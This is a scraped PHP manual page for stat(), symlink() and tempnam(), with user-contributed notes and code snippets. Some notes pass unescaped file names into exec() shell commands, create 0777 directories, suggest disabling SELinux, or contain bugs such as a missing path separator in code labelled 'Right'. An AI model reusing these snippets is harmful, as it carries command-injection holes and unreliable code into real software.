  )

[file] => Array
  (
  [filename] => /home/askapache/askapache-stat/htdocs/ok/g.php
  [realpath] =>
  [dirname] => /home/askapache/askapache-stat/htdocs/ok
  [basename] => g.php
  )

[device] => Array
  (
  [device] => 25
  [device_number] => 0
  [inode] => 92455020
  [link_count] => 1
  [link_to] =>
  )

[size] => Array
  (
  [size] => 2652
  [blocks] => 8
  [block_size] => 8192
  )

[time] => Array
  (
  [mtime] => 1227685253
  [atime] => 1227685138
  [ctime] => 1227685253
  [accessed] => 2008 Nov Tue 23:38:58
  [modified] => 2008 Nov Tue 23:40:53
  [created] => 2008 Nov Tue 23:40:53
  )
)
antonixyz at gmx dot net 21-Jul-2008 02:19
<?php
$stat = stat($filepath);
$mode = $stat[2];
?>
is identical to:
<?php $mode = fileperms($filepath); ?>

at least on my linux box.
mail4rico at gmail dot com 24-Apr-2008 11:19
In response to the note whose first line is:
Re note posted by "admin at smitelli dot com"

I believe you have the conversion backwards. You should add an hour to filemtime if the system is in DST and the file is not. Conversely, you should subtract an hour if the file time is DST and the current OS time is not.

Here's a simplified, corrected version:
<?php
    function getmodtime($file) { //returns the time a file was modified.
        $mtime = filemtime($file);
        //date('I') returns 1 if DST is on and 0 if off.
        $diff = date('I')-date('I', $mtime);
        //diff =  0 if file-time and os-time are both in the same DST setting
        //diff =  1 if os is DST and file is not
        //diff = -1 if file is DST and os is not
        return $mtime + $diff*3600;
    }
?>
Here's a test:
<?php
    //create two dummy files:
    $file0 = 'file1.txt';
    $file1 = 'file2.txt';
    file_put_contents($file0, '');
    file_put_contents($file1, '');

    $time0=strtotime('Jan 1 2008 10:00'); echo 'Date0 (ST): ' . date(DATE_COOKIE, $time0)."\n";
    $time1=strtotime('Aug 1 2008 10:00'); echo 'Date1 (DT): ' . date(DATE_COOKIE, $time1)."\n";
    touch($file0, $time0); //set file0 to Winter (Non-DST)
    touch($file1, $time1); //set file1 to Summer (DST)

    $ftime0 = filemtime($file0);
    $ftime1 = filemtime($file1);
    echo "\nUncorrected: \n";
    echo 'File 0: ' . ($ftime0-$time0) ."\n";
    echo 'File 1: ' . ($ftime1-$time1) ."\n";
    //if your system adjusts for DST, then _one_ of the above should be 3600 or -3600, depending on the time of year

    $ftime0 = getmodtime($file0); //use filemtime correction
    $ftime1 = getmodtime($file1); //use filemtime correction
    echo "\nCorrected: \n";
    echo 'File 0: ' . ($ftime0-$time0) ."\n";
    echo 'File 1: ' . ($ftime1-$time1) ."\n";
    //both of the corrected values output should be 0.
?>

Output:
------------------------------
(when run in summer)
------------------------------
Date0 (ST): Tuesday, 01-Jan-08 10:00:00 EST
Date1 (DT): Friday, 01-Aug-08 10:00:00 EDT

Uncorrected:
File 0: -3600
File 1: 0

Corrected:
File 0: 0
File 1: 0
------------------------------
(when run in winter--dates omitted)
------------------------------
Uncorrected:
File 0: 0
File 1: 3600

Corrected:
File 0: 0
File 1: 0

In response to Re note posted by "admin at smitelli dot com",  your version below gives the following output when substituted into my test:
------------------------------
(when run in summer--dates omitted)
------------------------------
Uncorrected:
File 0: -3600
File 1: 0

Corrected:
File 0: -7200
File 1: 0
------------------------------
You can see that the operation is the opposite of what it should be.
sh at advisa dot fr 24-Apr-2008 05:35
Another possibility to get the whole dir size, using "du" on Linux

$size = exec("du -sm /your/path | awk '{print $1}'");
Hellhound 03-Mar-2008 02:16
To ignore index number or name specifics.. use:

list($dev, $ino, $mode, $nlink, $uid, $gid, $rdev, $size, $atime, $mtime, $ctime, $blksize, $blocks)
         = lstat($directory_element);
JulieC 30-Jan-2007 07:21
The dir_size function provided by "marting.dc AT gmail.com" works great, except the $mas variable is not initialized.  Add:

   $mas = 0;

before the while() loop.
piranha-php dot net at thoughtcrime dot us 16-Jul-2006 05:04
stat() returns a file's _status_, not its _statistics_.  "Statistics" implies information interpreted from the data of several files, not concrete meaning from a single file.  Both Linux and POSIX manual pages for stat() list the name as "stat - get file status," and do not mention the word "statistic" anywhere.
hugues dot larrive at gmail dot com 08-Jun-2006 01:49
salisbm at hotmail dot com said :
(...)to see if the file is a directory, after calling fstat, I do:
if ($fstats[mode] & 040000)
  ... this must be a directory

Then I say no no no no... it can be a directory or a named pipe, or a block spécial ...

The good code for this thing is :

<?php
if(($fstat['mode'] & 0170000) == 040000) echo "Be sure it is a directory !";
?>

Sorry for very ugly english ;)
@+
16-May-2006 10:10
Re note posted by "admin at smitelli dot com"

I'm not sure how that can work all year round since you have to modify both opposing inside and outside DST based on the actual files themselves, as well as the current DST setting for the system.

e.g. using filemtime, same thing for stat.

<?php

$mtime = filemtime($file);

if (date('I') == 1) {
    // Win DST is enabled, adjust standard time
    // files back to 'real' file UTC.
    if (date('I', $mtime) == 0) {
        $mtime -= 3600;
    }
} else {
    // Win DST is disabled, adjust daylight time
    // files forward to 'real' file UTC.
    if (date('I', $mtime) == 1) {
        $mtime += 3600;
    }
}

echo gmdate('Y-m-d H:i:s', $mtime);

?>

Just another example of why 'not' to use windows in a server room.
marting.dc AT gmail.com 28-Jan-2006 05:08
If you want to know a directory size, this function will help you:

<?php
function dir_size($dir)
{
    $handle = opendir($dir);

    while ($file = readdir($handle)) {
        if ($file != '..' && $file != '.' && !is_dir($dir.'/'.$file)) {
            $mas += filesize($dir.'/'.$file);
            } else if (is_dir($dir.'/'.$file) && $file != '..' && $file != '.') {
            $mas += dir_size($dir.'/'.$file);
        }
    }
    return $mas;
}
echo dir_size('DIRECTORIO').' Bytes';
?>
admin at smitelli dot com 02-Nov-2005 11:27
There's an important (yet little-known) problem with file dates on Windows and Daylight Savings. This affects the 'atime' and 'mtime' elements returned by stat(), and it also affects other filesystem-related functions such as fileatime() and filemtime().

During the winter months (when Daylight Savings isn't in effect), Windows will report a certain timestamp for a given file. However, when summer comes and Daylight Savings starts, Windows will report a DIFFERENT timestamp! Even if the file hasn't been altered at all, Windows will shift every timestamp it reads forward one full hour during Daylight Savings.

This all stems from the fact that M$ decided to use a hackneyed method of tracking file dates to make sure there are no ambiguous times during the "repeated hour" when DST ends in October, maintain compatibility with older FAT partitions, etc. An excellent description of what/why this is can be found at http://www.codeproject.com/datetime/dstbugs.asp

This is noteworthy because *nix platforms don't have this problem. This could introduce some hard-to-track bugs if you're trying to move scripts that track file timestamps between platforms.

I spent a fair amount of time trying to debug one of my own scripts that was suffering from this problem. I was storing file modification times in a MySQL table, then using that information to see which files had been altered since the last run of the script. After each Daylight Savings change, every single file the script saw was considered "changed" since the last run, since all the timestamps were off by +/- 3600 seconds.

This one-liner is probably one of the most incorrect fixes that could ever be devised, but it's worked flawlessly in production-grade environments... Assuming $file_date is a Unix timestamp you've just read from a file:

<?php
    if (date('I') == 1) $file_date -= 3600;
?>

That will ensure that the timestamp you're working with is always consistently reported, regardless of whether the machine is in Daylight Savings or not.
com dot gmail at algofoogle 21-Jul-2005 06:06
Re note posted by "salisbm at hotmail dot com":

S_IFDIR is not a single-bit flag. It is a constant that relies on the "S_IFMT" bitmask. This bitmask should be applied to the "mode" parameter before comparing with any of the other "S_IF..." constants, as indicated by stat.h:

#define S_ISDIR(m)  (((m) & S_IFMT) == S_IFDIR)

That is, this approach is incorrect:

<?php
define('S_IFDIR',040000);
if ($mode & S_IFDIR)
{
  /*
    incorrect!
    format could be S_IFDIR, but also
    S_IFBLK, S_IFSOCK, or S_IFWHT.
  */
}
?>

...and should instead be:

<?php
define('S_IFMT',0170000);
define('S_IFDIR',040000);
if (S_IFDIR == ($mode & S_IFMT)) {  /* ... */  }
?>

As pointed out by "svend at svendtofte dot com", however, there is also the "is_dir" function for this purpose, along with "is_file" and "is_link" to cover the most common format types...
mpb dot mail at gmail dot com 17-Jul-2005 03:10
If you are working with files larger than 2GB (and PHP's integer type is only 32 bits on your system) then you can try the following to get floating point sizes:

On FreeBSD:

$size = (float) exec ('stat -f %z '. escapeshellarg ($path));

On Linux:

$size = (float) exec ('stat -c %s '. escapeshellarg ($path));

(The other example that uses "ls" and "awk" does not properly escape the filename, but should work otherwise.)
mao at nospam dot com 07-Jun-2005 05:53
If you have ftp (and the related sftp) protocols disabled on your remote server, it can be hard figuring out how to 'stat' a remote file. The following works for me:

<?php

$conn = ssh2_connect($host, 22);
ssh2_auth_password($conn, $user, $password);
$stream = ssh2_exec($conn, "stat $fileName > $remotedest");
ssh2_scp_recv($conn, $remotedest, $localdest);
$farray = file($localdest);
print_r($farray);
?>
guillermo martinez 30-Jan-2005 10:24
stat() and SELinux,

You can have troubles to use the stat() function if the SELinux is enabled, so check the SELinux documentation or turn it off.
10-Nov-2004 07:41
If the 2GB limit is driving you crazy, you can use this complete hack.  use in place of filesize()

function file_size($file) {
  $size = filesize($file);
  if ( $size == 0)
    $size = exec("ls -l $file | awk '{print $5}'");
  return $size;
}
svend at svendtofte dot com 09-Oct-2004 04:31
To the note of how you can figure out if a file is a folder or not, there is also the handy "is_dir" function.
salisbm at hotmail dot com 11-Aug-2003 05:21
I was curious how I could tell if a file was a directory... so I found on http://www.hmug.org/man/2/stat.html the following information about the mode bits:
#define S_IFMT 0170000           /* type of file */
#define        S_IFIFO  0010000  /* named pipe (fifo) */
#define        S_IFCHR  0020000  /* character special */
#define        S_IFDIR  0040000  /* directory */
#define        S_IFBLK  0060000  /* block special */
#define        S_IFREG  0100000  /* regular */
#define        S_IFLNK  0120000  /* symbolic link */
#define        S_IFSOCK 0140000  /* socket */
#define        S_IFWHT  0160000  /* whiteout */
#define S_ISUID 0004000  /* set user id on execution */
#define S_ISGID 0002000  /* set group id on execution */
#define S_ISVTX 0001000  /* save swapped text even after use */
#define S_IRUSR 0000400  /* read permission, owner */
#define S_IWUSR 0000200  /* write permission, owner */
#define S_IXUSR 0000100  /* execute/search permission, owner */

Note that these numbers are in octal format.  Then, to check to see if the file is a directory, after calling fstat, I do:

if ($fstats[mode] & 040000)
  ... this must be a directory
ian at eiloart dot com 23-Jul-1999 08:52
Here's what the UNIX man page on stat has to say about the difference between a file change and  a file modification:

st_mtime  Time when data was last modified.  Changed by  the following  functions:   creat(),  mknod(), pipe(), utime(), and write(2).

st_ctime  Time when file status was last  changed.   Changed by  the  following  functions: chmod(), chown(), creat(), link(2), mknod(), pipe(), unlink(2), utime(), and write().

So a modification is a change in the data, whereas a change also happens if you modify file permissions and so on.
set_file_buffer
symlink
Filesystem Functions


Creates a symbolic link

stat
tempnam
Filesystem Functions
PHP Manual

symlink

(PHP 4, PHP 5)

symlink — Creates a symbolic link

Description

bool symlink ( string $target , string $link )

symlink() creates a symbolic link to the existing target with the specified name link.

Parameters

target

Target of the link.

link

The link name.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.3.0 | This function is now available on Windows platforms (Vista, Server 2008 or greater).

Examples

Example #1 Create a symbolic link

<?php
$target = 'uploads.php';
$link = 'uploads';
symlink($target, $link);

echo readlink($link);
?>

Notes

Note: For Windows only: This function will only function if the system you run PHP from is Windows Vista/Windows Server 2008 or greater. Windows versions prior to that does not support symbolic links.

See Also

  • link() - Create a hard link
  • readlink() - Returns the target of a symbolic link
  • linkinfo() - Gets information about a link

User Contributed Notes

http://www.zentralplan.de/kontakt 22-Jul-2011 10:11
Remember to use absolute paths in both $target and $link.
Use $_SERVER['DOCUMENT_ROOT'] plus your desired paths.
reddy1042001 at yahoo dot co dot in 27-Apr-2010 04:33
Symlinks on windows  are created by Symlink() which accept only absolute paths  but not relative paths .relative paths on windows are not supported for symlinks
Porjo 11-Nov-2009 07:36
Keep in mind when using a shared filesystem such as NFS, that you probably don't want to create a symbolic link with absolute paths e.g.

On Server1 you are running a PHP script that needs to create a symbolic link called widget2 which links to widget1 inside an NFS share mounted on your localhost at /mnt/nfs/widgets

On Server2 this same NFS share is mounted under /usr/local/widgets

If you used absolute paths on Server1, then Server2 would try to reference /mnt/nfs/widgets/widget1 which it won't be able to find...

You need to cd into the directory first, then create the link - that way the link will be relative. Unless you run the PHP script from the same directory where you'll be creating the symbolic links, then you can't use symlink(). Use exec() instead as follows:

<?php

exec("cd <nfs mount path>; ln -s <target> <link_name>");

?>
ewering at gmail dot com 14-Nov-2007 01:01
This function sometimes just fails to work for no appearent reason, returning FALSE and not creating a symlink. Doing the same with exec('ln -s source dest') works perfectly. I recommend using the latter.
12-Apr-2007 06:44
Um, duh... that's all I gotta say about by previous note. Please delete it. :)

Windows Vista has its own symlink program now (mklink). Hopefully future versions of PHP for Windows will have this function put it?

Anyway, this will work on Vista (assuming your PHP user has the proper permissions):
<?php
define('SYMLINK_FILE', 0);
define('SYMLINK_DIR', 1);
define('SYMLINK_JUNCTION', 2);
function symlink ($target, $link, $flag = SYMLINK_FILE) {
    switch ($flag) {
       case SYMLINK_DIR: $pswitch = '/d'; break;
       case SYMLINK_JUNCTION: $pswitch = '/j'; break;
       case SYMLINK_FILE:
       default: $pswitch = ''; break;
    }
    // Change / to \ because it will break otherwise.
    $target = str_replace('/', '\\', $target);
    $link = str_replace('/', '\\', $link);
    return exec('mklink ' . $pswitch . ' "' . $link . '" "' . $target . '"');
}
?>
Numien 23-Mar-2007 02:51
The one difference to using symlinks for controlled file access vs. readfile() is that the HTTP server will handle content-type of the symlink automatically.

If you always want it to be downloaded, this can be a negative point. However, if you want a file of non-predefined type to be viewable in the browser, this can be a real asset.

Of course, you can use fileinfo/mime-magic to do that, but those require a module which isn't always available on shared hosting.
04-Nov-2006 04:33
<?

/**
 * A function to emulate symbolic links on Windows.
 * Uses the junction utility available at:
 * http://www.sysinternals.com
 * Note that this will only work on NTFS volumes.
 *
 * The syntax of the junction utility is:
 * junction <junction directory> <junction target>
 *
 * Note that the parameter order of the Junction command
 * is the reverse of the symlink function!
 *
 * @param string $target
 * @param string $link
 */
function _symlink( $target, $link ) {
  if ($_SERVER['WINDIR'] || $_SERVER['windir']) {
    exec('junction "' . $link . '" "' . $target . '"');
  } else {
    symlink($target,$link);
  }
}

function _unlink($link ) {
  if ($_SERVER['WINDIR'] || $_SERVER['windir']) {
    exec('junction -d "' . $link . '"');
  } else {
    unlink($link);
  }
}
?>
JohnW 24-Oct-2006 12:48
tcknetwork dot com's solution for Win32 seemed attractive but darned if I could make it work so there seem to be some further notes needed. One obvious problem is in the line:

exec("linkd ".$p.$t." ".$p.$l);

Note that since $p (from the line above) is the absolute path to the directory of the current script, the $t and $l are only defined relative to that path. And should not contain any spaces. I tried putting single quotes around the link and target but it didn't help.
anything at the domain williamfrantz.com 14-Feb-2006 05:15
Olszewski_marek makes a good suggestion, but the readfile() function can also be used to obscure file downloads from end users.

/* Setup the file that will be sent */
$downloadDir = "some/secret/directory/";
$file = "theFileName.dat";

/* Required for IE, otherwise Content-disposition is ignored */
if(ini_get('zlib.output_compression')) ini_set('zlib.output_compression', 'Off');

/* Output HTTP headers that force "Save As" dialog */
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: private",false);
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=\\"$file\\";");
header("Content-Transfer-Encoding: binary");
header("Content-Length: ".@filesize($downloadDir.$file));

/* Prevent the script from timing out for large files */
set_time_limit(0);

/* Send the entire file using @ to ignore all errors */
@readfile($downloadDir.$file);

/* Exit immediately so no garbage follows the file contents */
exit;
29-Dec-2005 07:21
Olszewski seems pretty good, but just to boost the security a bit, the fifth line of his script should read
<?
...
    $q = rand(1,26);
...
?>

instead of rand(1,24).
contact at tcknetwork dot com 11-Sep-2005 08:04
To make your code portable on unix AND win32, do the following
1. Download http://www.dynawell.com/reskit/microsoft/win2000/linkd.zip
2. Unzip, put linkd.exe in C:\Windows\System32 or C:\WINNT\System32
3. Include in your code the following
<?
function _syslink($t /*target*/ ,$l /*link*/ ) {
 if ($_SERVER["WINDIR"]) {
  $p=dirname($_SERVER["SCRIPT_FILENAME"])."/";
  exec("linkd ".$p.$t." ".$p.$l);
 } else syslink($t,$l);
}
function _unlink($l /*link*/ ) {
 if ($_SERVER["WINDIR"]) {
  $p=dirname($_SERVER["SCRIPT_FILENAME"])."/";
  exec("linkd ".$p.$l." /D");
 } else unlink($l);
}
?>
4. Enjoy
_symlink(TARGET,LINK) works like symlink() on *nix
_unlink(LINK) to delete properly the link created
aircha at cix dot co dot uk 15-Mar-2005 08:49
Olszewski's method of creating downloadable links on the fly is pretty good.

I use a different technique under Apache where if you want a file, you might use a url like:

mydomain.com/files/mysecretfile.doc

But in fact Apache redirects this to a script with a url like:

mydomain.com/utilities/downloadfile.php?filename=mysecretfile.doc

(The browser address bar will still show the first url).

The script downloadfile.php can then handle all the mucky stuff like checking session variables to see if someone is logged on, whether they have access to mysecretfile.doc, and if you want to encrypt before download.

An advantage of this is that the php code to achieve the equivalent of Olszewski's is shorter, so might execute faster. But more importantly, a casual hacker might think all he has to do is find myverysecurefile.doc under the /home/user/public_html/files/mysecretfile.doc, or copy the url - but there's nothing there! He won't find it or get an Apache error page.
veronique at talafone dot com 29-May-2003 02:23
This might sound obvious, but sometimes these details slip from our minds...
Make sure the directory in which you are trying to create the symbolic link (AND the directory you are trying to link to in the case of directory linking) has the proper permissions, or you will get a "permission denied" from PHP. If you use for example,
echo shell_exec("ln -sv $target $name")
you might get the correct "link created" message, but without the link being actually created.

It's probably the same thing with hard links, I just haven't tried it.
stephen at opido dot com 07-Feb-2002 12:38
Faking Symlinks on Windows (Win2K + NTFS)

Every once in a while I'll bang my head against something really difficult. I needed to make symlinks, Windows won't let me. The workaround is a couple files in the Win2K Resource Kit called linkd.exe and delrp.exe

http://support.microsoft.com/default.aspx?scid=kb;EN-US;q205524

It only works on folders as far as I can tell, there is another program from SysInternals called Junction which will do both (although I only had success with files, not folders).

http://www.sysinternals.com/ntw2k/source/misc.shtml#junction

I hope this helps those who have experienced this same problem. One step closer to portable applications :)
olszewski_marek at yahoo dot com 04-Dec-2000 08:54
Here is a simple way to control who downloads your files...

You will have to set: $filename, $downloaddir, $safedir and $downloadURL.

Basically $filename is the name of a file, $downloaddir is any dir on your server, $safedir is a dir that is not accessible by a browser that contains a file named $filename and $downloadURL is the URL equivalent of your $downloaddir.

The way this works is when a user wants to download a file, a randomly named dir is created in the $downloaddir, and a symbolic link is created to the file being requested.  The browser is then redirected to the new link and the download begins.

The code also deletes any past symbolic links created by any past users before creating one for itself.  This in effect leaves only one symbolic link at a time and prevents past users from downloading the file again without going through this script.  There appears to be no problem if a symbolic link is deleted while another person is downloading from that link.

This is not too great if not many people download the file since the symbolic link will not be deleted until another person downloads the same file.

Anyway enjoy:

<?php
$letters = 'abcdefghijklmnopqrstuvwxyz';
srand((double) microtime() * 1000000);
$string = '';
for ($i = 1; $i <= rand(4,12); $i++) {
   $q = rand(1,24);
   $string = $string . $letters[$q];
}
$handle = opendir($downloaddir);
while ($dir = readdir($handle)) {
   if (is_dir($downloaddir . $dir)){
      if ($dir != "." && $dir != ".."){
         @unlink($downloaddir . $dir . "/" . $filename);
         @rmdir($downloaddir . $dir);
      }
   }
}
closedir($handle);
mkdir($downloaddir . $string, 0777);
symlink($safedir . $filename, $downloaddir . $string . "/" . $filename);
Header("Location: " . $downloadURL . $string . "/" . $filename);
?>
stat
tempnam
Filesystem Functions


Create file with unique file name

symlink
tmpfile
Filesystem Functions
PHP Manual

tempnam

(PHP 4, PHP 5)

tempnam — Create file with unique file name

Description

string tempnam ( string $dir , string $prefix )

Creates a file with a unique filename, with access permission set to 0600, in the specified directory. If the directory does not exist, tempnam() may generate a file in the system's temporary directory, and return the name of that.

Parameters

dir

The directory where the temporary filename will be created.

prefix

The prefix of the generated temporary filename.

Note: Windows uses only the first three characters of prefix.

Return Values

Returns the new temporary filename, or FALSE on failure.

Changelog

Version | Description
4.0.6 | Prior to PHP 4.0.6, the behaviour of the tempnam() function was system dependent. On Windows the TMP environment variable will override the dir parameter, on Linux the TMPDIR environment variable has precedence, while SVR4 will always use your dir parameter if the directory it points to exists. Consult your system documentation on the tempnam(3) function if in doubt.
4.0.3 | This function's behavior changed in 4.0.3. The temporary file is also created to avoid a race condition where the file might appear in the filesystem between the time the string was generated and before the script gets around to creating the file. Note, that you need to remove the file in case you need it no more, it is not done automatically.

Examples

Example #1 tempnam() example

<?php
$tmpfname = tempnam("/tmp", "FOO");

$handle = fopen($tmpfname, "w");
fwrite($handle, "writing to tempfile");
fclose($handle);

// do here something

unlink($tmpfname);
?>

Notes

Note: If PHP cannot create a file in the specified dir parameter, it falls back on the system default. On NTFS this also happens if the specified dir contains more than 65534 files.

See Also

  • tmpfile() - Creates a temporary file
  • sys_get_temp_dir() - Returns directory path used for temporary files
  • unlink() - Deletes a file

User Contributed Notes

ayalsule at gmail dot com 21-Feb-2011 12:39
<?php
/**
 * create a temp file alternative to tempnam() because this functions disabled for security reasons
 */
function ayham_tempnam($dir,$prefix){
    $name = $prefix.md5(time().rand());
    $handle = fopen($dir.'/'.$name, "w");
    fclose($handle);
    return $dir.'/'.$name;
}
?>
tomas at slax dot org 03-Jun-2010 02:31
Beware: functions are not atomic.  If many processes call the same function at the same time, you may end up with unwanted behavior.

If you need your own variant of tempnam, use something like this:

<?php
   function tempnam_sfx($path, $suffix)
   {
      do
      {
         $file = $path."/".mt_rand().$suffix;
         $fp = @fopen($file, 'x');
      }
      while(!$fp);

      fclose($fp);
      return $file;
   }

   // call it like this:
   $file = tempnam_sfx("/tmp", ".jpg");
?>

You may replace mt_rand() by some other random name generator, if needed.
anthon at piwik dot org 06-Apr-2010 04:20
The file created by tempnam() will have file permissions that reflect the current umask applied to the default (e.g., 0600 or -rw-------).  This is the case whether the umask is set before starting the web server process, or set by an earlier call to PHP's umask() function.

For example, if the current umask is 0022, the temporary file is created with permissions 0600 (read/write by owner).

Also, if the current umask is 0222, the temporary file is created with permissions 0400 (read-only by owner).  (This is problematic if your code then tries to open the temporary file for writing.)

It's important to remember that the umask revokes permissions.  In neither of the above examples are the group, other, or execute permissions set.

See:  umask(), chmod().
Artur Graniszewski 31-Mar-2010 10:57
tempnam() function does not support custom stream wrappers registered by stream_register_wrapper().

For example if you'll try to use tempnam() on Windows platform, PHP will try to generate unique filename in %TMP% folder (usually: C:\WINDOWS\Temp) without any warning or notice.

<?php

// << ...custom stream wrapper goes somewhere here...>>

echo '<pre>';
error_reporting(E_ALL);
ini_set('display_errors', true);
clearstatcache();
stream_register_wrapper('test', 'MemoryStream');

mkdir('test://aaa');
mkdir('test://aaa/cc');
mkdir('test://aaa/dd');
echo 'PHP '.PHP_VERSION;
echo '<br />node exists: '.file_exists('test://aaa/cc');
echo '<br />node is writable: '.is_writable('test://aaa/cc');
echo '<br />node is dir: '.is_dir('test://aaa/cc');
echo '<br />tempnam in dir: '.tempnam('test://aaa/cc', 'tmp');
echo "<br /></pre>";

?>

ouputs:
--------------------
PHP 5.2.13
node exists: 1
node is writable: 1
node is dir: 1
tempnam in dir: C:\Windows\Temp\tmp1D03.tmp

If you want to create temporary file, you have to create your own function (which will probably use opendir() and fopen($filename, "x") functions)
Chris 03-Feb-2010 01:16
I needed a function that allowed me to specify a filename suffix and a longer prefix:

<?php
function my_tempnam($prefix = null, $suffix = null, $dir = null)
{
    func_num_args() > 3 and exit(__FUNCTION__.'(): passed '.func_num_args().' args, should pass 0, 1, 2, or 3 args.  Usage: '.__FUNCTION__.'(optional filename prefix, optional filename suffix, optional directory)');

    $prefix = trim($prefix);
    $suffix = trim($suffix);
    $dir = trim($dir);

    empty($dir) and $dir = trim(sys_get_temp_dir());
    empty($dir) and exit(__FUNCTION__.'(): could not get system temp dir');
    is_dir($dir) or exit(__FUNCTION__."(): \"$dir\" is not a directory");

    //    posix valid filename characters. exclude "similar" characters 0, O, 1, l, I to enhance readability. add - _
    $fn_chars = array_flip(array_diff(array_merge(range(50,57), range(65,90), range(97,122), array(95,45)), array(73,79,108)));

    //  create random filename 20 chars long for security
    for($fn = rtrim($dir, '/') . '/' . $prefix, $loop = 0, $x = 0; $x++ < 20; $fn .= chr(array_rand($fn_chars)));
    while (file_exists($fn.$suffix))
    {
        $fn .= chr(array_rand($fn_chars));
        $loop++ > 10 and exit(__FUNCTION__."(): looped too many times trying to create a unique file name in directory \"$dir\"");
        clearstatcache();
    }

    $fn = $fn.$suffix;
    touch($fn) or exit(__FUNCTION__."(): could not create tmp file \"$fn\"");
    return $fn;
}
?>
koyama 30-Aug-2009 05:39
Watch out using a blank $dir as a "trick" to create temporary files in the system temporary directory.

<?php
$tmpfname = tempnam('', 'FOO'); // not good
?>

If an open_basedir restriction is in effect, the trick will not work. You will get a warning message like

Warning: tempnam() [function.tempnam]: open_basedir restriction in effect.
File() is not within the allowed path(s): (/var/www/vhosts/example.com/httpdocs:/tmp)

What works is this:

<?php
$tmpfname = tempnam(sys_get_temp_dir(), 'FOO'); // good
?>
hm2k at php dot net 28-Jan-2009 09:15
<?php

function tempdir($dir=false,$prefix='php') {
    $tempfile=tempnam('','');
    if (file_exists($tempfile)) { unlink($tempfile); }
    mkdir($tempfile);
    if (is_dir($tempfile)) { return $tempfile; }
}

/*example*/

echo tempdir();
// returns: /tmp/8e9MLi

?>
flat at serverart dot com 04-Oct-2007 03:17
It seems that in between 5.2.2 and 5.2.4 tempnam() changed how it handles a relative path:

In 5.2.2:
$file=tempnam('tmpdownload', 'Ergebnis_'.date(Y.m.d).'_').'.pdf';
echo $file;
tmpdownload/Ergebnis_20071004_xTfKzz.pdf

In 5.2.4:
$file=tempnam('tmpdownload', 'Ergebnis_'.date(Y.m.d).'_').'.pdf';
echo $file;
/var/www/html/tmpdownload/Ergebnis_20071004_Xbn6PY.pdf

This broke quite a lot of our webpages as we try to display those pdfs (and other files) via the webbrowser and the resulting URI is of course invalid and gets the user a 404 page.
dmhouse at gmail dot com 03-Sep-2007 03:51
Guillaume Paramelle's comments below are worth underlining: tempnam() will not accept a relative path for its first directory. If you pass it one, it will (on Windows XP at least) create the temporary file in the system temp directory.

The easiest way to convert a relative path to an absolute path is to prepend getcwd():

<?php
$file = tempnam('files/temp', 'tmp'); // Wrong!
$file = tempnam(getcwd() . 'files/tmp', 'tmp') // Right.
?>
Jason Pell 12-Jan-2007 04:47
I want to guarantee that the file will be created in the specified directory or else the function should return FALSE, I have a simple function that works, but I am unsure if its a potential security issue.

function dir_tempnam($dir, $prefix)
{
    $real_dir_path = realpath($dir);
    if (substr($real_dir_path, -1) != '/')
        $real_dir_path .= '/';

    $tempfile = tempnam($real_dir_path, $prefix);
    $name = basename($tempfile);

    if(is_file($real_dir_path.$name))
        return $name;
    else
    {
        @unlink($name);
        return FALSE;
    }
}

This function returns just the name of the temporary file in the specified directory, or FALSE.

Obviously it could return the entire $tempfile, but in my case, I actually want the basename value seperate.
tux ARROBA cenobioracing PUNTO com 27-Aug-2006 05:19
Beware that on Windows NT and other windows, if you have, for example, a variable $work_dir with a path to some dir on your document root(or any other dir). Note the following:
<?php
$work_dir = 'C:/some/path/to/document_root/dir';
file_exists($working_dir); // Returns true
is_writable($working_dir); // Returns true
$tempfile = tempnam($working_dir,'img');
//$temfile now contains a system wide temp directory file, like 'C:/WINNT.SBS/img444.tmp' instead of the directory we pass it
//Thats because we need to give I_USR (IIS user) user write permission to $working_dir  although according to the aforementioned functions seemed it already had it...
//If you want to use just the system wide temp directory return by default by tempnam you will also need to give it write permission to I_USR user to be able to write to that file...
?>
Guillaume Paramelle 06-Jun-2006 06:46
On a windows server (php 5.1.2), tempnam() may not use the dir parameter, and create the file in $_ENV['TMP'].
I also had problem because the directory was relative.
Everything was solved using :

tempnam(realpath("../_cache/"), "prefix") ;
Ron Korving 03-Feb-2006 12:32
This function creates a temporary directory. The previous example given could bug if between the unlink() and mkdir() some process creates the same directory or file. This implementation is faster too.

<?php
  function tempdir($dir, $prefix='', $mode=0700)
  {
    if (substr($dir, -1) != '/') $dir .= '/';

    do
    {
      $path = $dir.$prefix.mt_rand(0, 9999999);
    } while (!mkdir($path, $mode));

    return $path;
  }
?>
KOmaSHOOTER at gmx dot de 18-Sep-2005 01:51
This Example makes a File called "user.txt"
in the dir www.XXXXX.XX/restricted/
<?php
$tmpfname = tempnam($_ENV["DOCUMENT_ROOT"]."/restricted", "FOO");
$handle = fopen($tmpfname, "w");
fwrite($handle, "writing to tempfile");
fclose($handle);

// do here something
//echo($_ENV["DOCUMENT_ROOT"]);
copy($tmpfname,'user.txt');
 ?>
chris 13-Jun-2005 09:23
Use the following to create a temporary directory...

// Creates a directory with a unique name
// at the specified with the specified prefix.
// Returns directory name on success, false otherwise
function tmpdir($path, $prefix)
{
        // Use PHP's tmpfile function to create a temporary
        // directory name. Delete the file and keep the name.
        $tempname = tempnam($path,$prefix);
        if (!$tempname)
                return false;

        if (!unlink($tempname))
                return false;

        // Create the temporary directory and returns its name.
        if (mkdir($tempname))
                return $tempname;

        return false;
}
php at REMOVEMEkennel17 dot co dot uk 05-Mar-2005 10:10
Note that tempnam returns the full path to the temporary file, not just the filename.
17-Feb-2005 06:13
Regarding Typo3 and Safe mode "Generally, everything in TYPO3 can work under safe_mode and open_basedir as long as the script permissions are correct. Notice, this is not something TYPO3 can do better or worse; for a working TYPO3 system there must be access to writing files and directories in the filesystem and this is done by plain PHP functions."
Sebastian Kun 21-Jan-2005 01:03
If you go to the linux man page for the C function tempnam(3), you will see at the end "Never use this function. Use mkstemp(3) instead." But php's tempnam() function doesn't actually use tmpnam(3), so there's no problem (under Linux, it will use mkstemp(3) if it's available).
Nick Smith 20-Jan-2005 11:35
It is worth noting that if the 'dir' that you supply doesn't exist, then it is silently ignored and the system /tmp directory used. At least under Linux, PHP v4.1.2.

I had a script that appeared to work fine with safe mode switched off, but I didn't realise that my 'dir' parameter had a typo (so the files were going in /tmp), and once safe mode was switched on I started getting errors because the rest of the script couldn't read files from the system /tmp folder.
soletan at toxa dot de 02-Dec-2004 08:45
